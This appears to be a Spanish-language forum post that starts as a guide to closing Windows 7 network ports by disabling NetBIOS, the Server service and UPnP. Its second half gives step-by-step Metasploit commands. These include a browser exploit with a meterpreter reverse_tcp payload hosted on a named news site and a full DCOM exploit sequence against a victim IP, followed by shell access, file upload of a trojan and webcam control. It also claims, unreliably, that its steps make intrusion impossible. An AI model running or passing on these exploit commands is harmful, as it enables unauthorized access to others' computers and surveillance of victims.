cerrar puerto 135, 139, 445, 2869, 5357, etc en windows 7

CIENCIA Y EDUCACIÓN | HACE MÁS DE 1 AÑO 0 14 1

ANTE TODO, PARA ASEGURARSE QUE NO PUEDA NADIE ACCEDER A NUESTRO ORDENADOR O NUESTRA RED, RECOMIENDO NO USAR ROUTER INALÁMBRICO, YA QUE TODOS LOS SISTEMAS DE SEGURIDAD INALÁMBRICOS, YA SEA WEP, WPA, WPA2 Y SERVIDOR RADIUS SON VULNERABLES. EN EL CASO DE USAR ROUTER INALÁMBRICO USAR ENCRIPTACIÓN WPA2 Y FILTRO MAC, PARA QUE SOLO LOS ORDENADORES PERMITIDOS PUEDAN ACCEDER A LA RED, AUNQUE LA MAC PUEDE SPOOFEARSE (FALSIFICARSE). RECOMIENDO USAR SIEMPRE EL ULTIMO SISTEMA OPERATIVO DEL MERCADO, EN LA ACTUALIDAD WINDOWS 8, AUNQUE WINDOWS 7 SI SE LO TIENE CON TODAS LAS ACTUALIZACIONES PUEDE SER SEGURO. NO USAR WINDOWS XP, YA QUE ES VULNERABLE EN TODO SUS ÁMBITOS, MENOS AUN WINDOWS 98, ETC. ACTIVAR EL FIREWALL DE WINDOWS, E UTILIZAR UN FIREWALL QUE PROTEJA LA NAVEGACIÓN, AQUELLOS TOOLBAR.

BIEN, AHORA COMENCEMOS. SI SE EJECUTA EL COMANDO netstat -a SE PODRÁ COMPROBAR QUE, AUNQUE TENGAMOS FIREWALL, VEREMOS PUERTOS COMPROMETEDORES ABIERTOS BAJO WINDOWS 7 (ESTADO LISTENING). PUERTOS COMO 135, 139 Y 445 ESTAN SIEMPRE ABIERTOS POR DEFECTO, Y NINGÚN FIREWALL LOS CIERRA. POR ESO, ES IMPORTANTE DESHABILITAR NETBIOT BAJO TCP/IP PARA CERRAR EL PUERTO 139, YENDO A PANEL DE CONTROL - CENTRO DE REDES Y RECURSOS COMPARTIDOS - CAMBIAR CONFIGURACION DEL ADAPTADOR - PROPIEDADES - PROTOCOLO DE INTERNET VERSION 4 -PROPIEDADES - OPCIONES AVANZADAS - WINS - DESHABILITAR NETBIOS A TRAVES DE TCP/IP. PARA CERRAR EL PUERTO 135 (DCOM) SE USA UN PROGRAMA COMO DCOMBOBULATOR. PARA CERRAR EL PUERTO 445, SE DESHABILITA SERVIDOR, EN SERVICIOS DE WINDOWS (PANEL DE CONTROL - HERRAMIENTAS ADMINISTRATIVAS - SERVICIOS, Y SELECCIONAR SERVIDOR DE LA LISTA Y DESHABILITARLO). DE ESTA FORMA, SE PODRÁN CERRAR ESTOS PUERTOS QUE SON TAN VULNERABLES A CIERTOS EXPLOITS. LOS PUERTOS 2869 Y 10243, SE CIERRAN DESHABILITANDO EN SERVICIOS DE WINDOWS, DISPOSITIVO HOST DE UPNP. PARA CERRAR EL PUERTO 5800 DEPENDE DEL PROGRAMA QUE TENGAS INSTALADO QUE ABRA ESE PUERTO. POR EJEMPLO, SI TENÉS INSTALADO, GEEK, DEBERÍAS IR A SERVICIOS DE WINDOWS, Y DESHABILITAR GEEKBUDDY REMOTE SCREEN PROTOCOL. SI QUERES CERRAR EL PUERTO 5357, SE DEBE DESHABILITAR EN SERVICIOS DE WINDOWS, PUBLICACION DE RECURSO DE DETECCION DE FUNCION. LUEGO DE TODO ESTO, NO OLVIDAR REINICIAR LA PC PARA QUE QUEDEN LOS CAMBIOS, Y AL PROBAR LUEGO CON EL COMANDO netstat -a SE VA A COMPROBAR QUE DESAPARECEN ESOS PUERTOS DEL ESTADO LISTENING. EL PUERTO 554, ES PARA ESCUCHAR AUDIO VIA INTERNET, POR LO QUE ES NECESARIO PARA EL USO COTIDIANO. AUNQUE SE PUEDE CERRAR TAMBIÉN DESDE SERVICIOS DE WINDOWS, DESHABILITANDO SERVICIO DE USO COMPARTIDO DE RED DEL REPRODUCTOR DE WINDOWS MEDIA, Y EN CASO NECESARIO, WINDOWS 7 ABRIRA AUTOMATICAMENTE OTRO PUERTO PARA AUDIO. POR ULTIMO, ACÁ DEJO EL LISTADO DE LOS PROCESOS DE LOS PUERTOS RESTANTES QUE ESTAN ABIERTOS POR DEFECTO EN WINDOWS 7.

TCP 49152 LISTENING wininit.exe
TCP 49153 LISTENING svchost.exe
TCP 49154 LISTENING svchost.exe
TCP 49155 LISTENING services.exe
TCP 49156 LISTENING lsass.exe

BUENO, HACIENDO TODO ESTO, SERÁ IMPOSIBLE QUE ENTREN A TU PC Y TU RED, SIEMPRE Y CUANDO NO ENTRÉS A UN SITIO QUE TE HAGA CAER EN LA TRAMPA MEDIANTE UN EXPLOIT. CON METASPLOIT SE PUEDE HACER DE FORMA MUY FACIL. DANDO UN EJEMPLO: SUPONGAMOS QUE LA EMPRESA CLARIN QUIERA INGRESAR A NUESTRA PC CADA VEZ QUE INGRESAMOS A SU SITIO. SOLO DEBE HACER LO SIGUIENTE BAJO METASPLOIT EN BACK TRACK.

#use windows/browser/ms10_046_shortcut_icon_dllloader
#set payload windows/meterpreter/reverse_tcp
#set SRVHOST clarin.com
#set LHOST clarin
#exploit (acá Clarin lanza el exploit)

nasdaq10

1 Seguidores
49 Puntos
3 Posts

Aprendiz

Posts Relacionados

HAZLO TU MISMO
Hazlo tu mismo. Cosas divertidas para tu Gato

HAZLO TU MISMO
Hazlo tu mismo [Mega Post]

HAZLO TU MISMO
Megapost "Como hacer?" Proyectos ecológicos 2a pa

CIENCIA Y EDUCACIÓN
jugando con los elementos: reacciones

LUEGO UNA VICTIMA VISITA WWW.CLARIN.COM

ENTONCES EL HACKER DE CLARIN ESCRIBE COMANDO PARA PENETRAR A LA PC VICTIMA.

#SESSIONS -i 1

LUEGO BAJO METERPRETER OBTIENE SHELL Y HACE LO QUIERE, INCLUSO MIRAR POR LA CAMARA DE LA PC VICTIMA.

EJEMPLO:

meterpreter# shell

PARA EVITAR ESO, USAR POR EJEMPLO; AVG TOOLBAR, QUE TE PROTEGE LA NAVEGACION POR

INTERNET BASTANTE BIEN DE FORMA GRATUITA, AUNQUE CON CONEXION INVERSA SE PUEDE PENETRAR IGUAL.

POR ESO, ACLARO... TENER MUCHO CUIDADO QUE PAGINAS VISITAMOS, PORQUE AL VISITAR UN SITIO, LE DAMOS LA POSIBILIDAD PARA QUE ESE SERVIDOR INGRESE A NUESTRA PC, AUN TENIENDO WINDOWS 7, 8 E INCLUSO WINDOWS SERVER 2008, ETC.

ACLARACIÓN: MUCHOS DE ESTOS PUERTOS NO SE DEBEN CERRAR SI SE TRABAJA EN RED. EN CASO DE SER CERRADOS, SIMPLEMENTE VOLVER A HABILITARLOS DESDE SERVICIOS DE WINDOWS NUEVAMENTE...
Y COMO DIJE ANTES, PARA IR A SERVICIOS DE WINDOWS: PANEL DE CONTROL - HERRAMIENTAS ADMINISTRATIVAS - SERVICIOS.

DANDO UNA PISTA CON FINES EDUCATIVOS:

UNA FORMA MUY SENCILLA PARA INGRESAR, POR EJEMPLO, A UNA PC QUE TRABAJA BAJO WINDOWS XP QUE, TENGA EL PUERTO 135 ABIERTO (DCOM). ES QUEMAR EN UN DVD EL SISTEMA BACK TRACK (ES UNA VERSION DE LINUX) AHORA ESTÁ EN LA VERSION BACK TRACK 5 R3. LUEGO

BAJO UNA TERMINAL ESCRIBIR LOS SIGUIENTES COMANDOS.

msfconsole (CON ESTE COMANDO SE ACCEDE A LA CONSOLA DE METASPLOIT)
use exploit/windows/dcerpc/ms03_026_dcom (COMANDO PARA INDICAR EL EXPLOIT A UTILIZAR)
set payload windows/meterpreter/reverse_tcp (COMANDO PARA INDICAR EL TIPO DE ATAQUE)
set lhost IPLOCAL (EN “IPLOCAL” SE ESCRIBE LA IP LOCAL. O SEA TU IP)
set rhost IPREMOTA (EN “IPREMOTA” SE ESCRIBE LA IP DE LA PC VICTIMA)
set rport 135 (ESTE ES EL PUERTO POR EL QUE SE VA A INGRESAR. O SEA 135)
exploit (CON ESTE COMANDO SE LANZA EL EXPLOIT A LA PC VICTIMA)

LISTO!!! YA SE ESTA EN LA PC VICTIMA. AHORA SOLO QUEDA USAR LOS COMANDOS RESPECTIVOS PARA HACER LO QUE UNO QUIERA BAJO METERPRETER. POR EJEMPLO, SI SE ESCRIBE get shell SE OBTIENE SHELL. LUEGO SE NAVEGA POR EL DISCO CON LOS TIPICOS COMANDOS DE MSDOS. PARA DESCARGAR UN ARCHIVO SE USA EL COMANDO download (nombre de archivo) Y PARA SUBIR UN ARCHIVO, POR EJEMPLO, UN SUPUESTO TROYANO upload (nombre de archivo). TAMBIÉN SE PUEDE TENER EL CONTROL DE LA WEBCAM, DE LA PANTALLA DEL ORDENADOR, ETC. EN FIN, SOLO LES QUEDA VER UNA GUIA SOBRE LOS COMANDOS POSIBLES BAJO METERPRETER. POR ULTIMO, QUERÍA COMENTAR QUE EXISTE UN MODO GRAFICO QUE ES EL ARMITAGE QUE DA UN ABANICO DE POSIBILIDADES DE FORMA RAPIDA Y AUTOMATIZADA. PARA VULNERAR LOS CORREOS, YA SEA HOTMAIL COMO GMAIL, FACEBOOK Y TWITTER; SE USA BAJO BACK TRACK: LA HERRAMIENTA SET (SOCIAL ENGINEER TOOLKIT)

PUEDEN VISITAR MI SITIO: **HTTP://WWW.TEJNION.BLOGSPOT.COM**

Fuentes de Información

El contenido del post es de mi autoría, yo, es un recopilación de distintas fuentes.

Tags

hazlo tu mismo | Ebooks y tutoriales | ciencia y educacin | apuntes y monografas

NOTICIAS

Ranking de post de T! en blog de Clarin

HAZLO TU MISMO

chau a facebook..hazlo tu mismo

HAZLO TU MISMO

Cómo quedarse dormido rápidamente

CIENCIA Y EDUCACIÓN

jugando con los elementos: reacciones

0 comentarios

CIENCIA Y EDUCACIÓN

Pasá, te explico qué es un agujero negro| Interesante

CIENCIA Y EDUCACIÓN

Soy experto en todo, tengo Internet....

CIENCIA Y EDUCACIÓN

Las inmensas escalas del universo y nuestro mundo

CIENCIA Y EDUCACIÓN

Soy discipulo de Tesla y te revelo su secreto

CIENCIA Y EDUCACIÓN

1500 hechos curiosos! (megapost) (parte 1 : 0000-0099)

CIENCIA Y EDUCACIÓN

El Einstein argentino que revoluciona la fisica